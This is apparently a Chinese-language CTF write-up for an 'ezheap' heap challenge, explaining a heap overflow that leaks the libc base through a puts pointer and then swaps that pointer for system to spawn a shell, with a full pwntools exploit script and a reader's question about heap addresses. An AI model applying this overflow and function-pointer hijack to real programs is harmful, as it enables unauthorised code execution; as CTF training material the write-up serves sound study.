看到add()里面放了一个puts地址,然后show()函数是调用heap里面的puts地址来输出heap中数据。
所以思路为:可以先用puts泄露libc基地址,然后再把puts改成system地址来getshell


动调一下,先add两次分别给0x10空间

图中红线分开的4个堆区,一词放的是name,content,name,content,我们可以把前一个堆用edit改变大小,溢出到070的位置把原本指向第二个content的堆指针改成指向puts的
# leak libc_base
add(0, 0x10, "A", "A")
add(1, 0x10, "B", "B")
payload = b'\x00'*0x18 + p64(0x31) + b'\x00'*0x10 + b'\x80'
edit(0, 0x31, payload)
'''把原本0x10大小改成0x31(刚好可以覆盖到070那里的最低一位字节),使得原本指向下一个堆块的地址指向puts的地址'''
show(1)
libc_base = u64(ru(b"\x7f")[-6:].ljust(8, b"\x00")) - libc.sym["puts"]
log.info("libc_base: " + hex(libc_base))
接下来因为先输出name再输出content,完全可以把/bin/sh写到name上然后system(name)拿到shell,不需要再跳转到content上了,所以我们就没必要泄露heap基地址,070那里的堆指针可以直接覆盖过去,再把puts地址改为system地址
system = libc_base + libc.sym["system"]
payload = p64(0)*3 + p64(0x31) + b'/bin/sh\x00' + p64(0)*2 + p64(1) + p64(system)
edit(0, 0x48, payload)
show(1)
i()
用的本地打的图(配置了和题目一样的环境了,打远程应该没问题)

完整exp:
from pwn import *
from LibcSearcher import *
from ctypes import *
context.log_level = "debug"
libc = ELF("./libc-2.23.so")
io = process("./ezheap")
# io = remote('node1.anna.nssctf.cn', 28720)
def s(payload: bytes) -> None:
return io.send(payload)
def sl(payload: bytes) -> None:
return io.sendline(payload)
def sa(message: str, payload: bytes) -> bytes:
return io.sendafter(message, payload)
def sla(message: str, payload: bytes) -> bytes:
return io.sendlineafter(message, payload)
def r(numb = None, timeout: float = 5) -> bytes:
return io.recv(numb, timeout)
def rl() -> bytes:
return io.recvline()
def ru(message, drop: bool = False, timeout: float = 5) -> bytes:
return io.recvuntil(message, drop=drop, timeout=timeout)
def i() -> None:
return io.interactive()
def add(index, size, name, content):
sla("Choice:", "1")
sla("Input your idx:", str(index))
sla("Size:", str(size))
sla("Name:", name)
sla("Content:", content)
def delete(index):
sla("Choice:", "2")
sla("Input your idx:", str(index))
def show(index):
sla("Choice:", "3")
sla("Input your idx:", str(index))
def edit(index, size, content):
sla("Choice:", "4")
sla("Input your idx:", str(index))
sla("Size:", str(size))
s(content)
# leak libc_base
add(0, 0x10, "A", "A")
add(1, 0x10, "B", "B")
payload = b'\x00'*0x18 + p64(0x31) + b'\x00'*0x10 + b'\x80'
edit(0, 0x31, payload)
show(1)
libc_base = u64(ru(b"\x7f")[-6:].ljust(8, b"\x00")) - libc.sym["puts"]
log.info("libc_base: " + hex(libc_base))
# get shell
system = libc_base + libc.sym["system"]
payload = p64(0)*3 + p64(0x31) + b'/bin/sh\x00' + p64(0)*2 + p64(1) + p64(system)
edit(0, 0x48, payload)
show(1)
i()

师傅请问这个堆地址是固定的吗,我gdb上一直是这个,如果用我本地的堆地址的话就跑不通,这是为什么啊
